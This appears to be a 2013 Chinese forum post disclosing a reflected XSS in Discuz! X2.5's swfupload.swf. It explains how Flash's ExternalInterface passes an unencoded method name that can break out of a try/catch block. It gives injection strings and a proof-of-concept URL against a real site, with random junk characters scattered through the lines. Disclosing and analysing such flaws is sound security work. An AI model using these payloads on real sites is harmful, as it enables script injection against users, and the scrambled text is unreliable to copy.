找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1967|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说) D, o& v' ?0 x2 k$ i7 S4 K

6 r1 u  u) J6 s4 gflash.external.ExternalInterface.call($methodName, $parameter)' F7 Y8 Q( F0 P! F' I8 C) n
在浏览器中执行的是
7 E5 [7 a/ g4 R
4 p& |( s$ N3 H* g4 b: @try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}' o  v5 ]! ~8 A* A0 b. a$ @6 W
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
- A' [5 Z3 |1 ~# p% p9 j
7 G9 d& f6 v& h+ ~" Mflash.external.ExternalInterface.call("object."+$methodName, $parameter)
0 s* E# N" \: P* w$methodName = a())}catch(e){alert(/xss/)}//1 Q8 L" `- N5 u1 T
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
) O; r9 @0 ~2 [5 F4 }/ e6 h
( {, b, F" I$ ~6 W, u: d+ H+ ztry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }. A' N" X9 q& _: I# U% I& r% A3 `
) J1 A% B0 u& L0 j: H0 P* I
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
9 z1 S8 Y6 l: _+ g0 G; J杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 v# S* q# \# b$ O' Y7 u

1 T' x, r: ^" N' n, n. A+ a. N
$ t; j. X$ B2 d9 R9 U( y
8 \2 E0 _6 `& B/ w9 g: L漏洞文件:upload\static\image\common\swfupload.swf
/ F! v) E# S+ ~2 u6 S" e& K, J4 ]3 W/ Y) v/ e
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
5 ~! F* |  `! g! x' Z
8 u1 {% P8 p# N, a
5 m9 K3 v( Y6 e% W5 E) \! c漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
" R4 R8 O2 I- E* h$ i
7 r6 P1 }2 r# E- k& b, Q2 s! F( U, A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表